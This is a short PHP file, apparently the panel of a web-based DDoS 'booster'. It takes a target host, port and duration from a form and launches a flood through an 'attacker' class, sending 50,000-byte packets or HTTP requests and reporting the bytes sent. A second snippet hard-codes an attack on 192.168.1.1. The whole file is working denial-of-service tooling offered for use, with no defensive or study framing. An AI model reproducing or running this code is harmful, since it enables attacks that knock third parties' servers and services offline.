<?php if ($_POST) { if (isset($_POST["host"]) && isset($_POST["port"]) && isset($_POST["time"])) { require_once "class.attack.php"; $attack = new attacker($_POST["host"], (int) $_POST["port"]); $attack->setAttackTime((int) $_POST["time"]); if ($_POST["port"] != "80" && $_POST["port"] != "443") { $attack->setAttackMessage("test."); $attack->setPacketsize(50000); } else { $attack->enableHttpRequest(); } $attack->setTimeout(10); $attack->startAttack(); print "Attack Bytes: " . $attack->getAttackBytes(); print "<br />"; $time = (string) $attack->getAttackTime(); print "Attack Time: " . $time; print "<br />"; print "First Error String: " . $attack->getFirstErrStr(); } else { print "Please fill out all fields."; } } ?> <!DOCTYPE HTML> <html> <head> <title>Web based Booster</title> <meta charset="utf-8" />
<?php require_once "class.attack.php"; $attack = new attacker("192.168.1.1", 80); $attack->setAttackTime(2); $attack->setAttackMessage("test."); $attack->setPacketsize(50000); $attack->startAttack();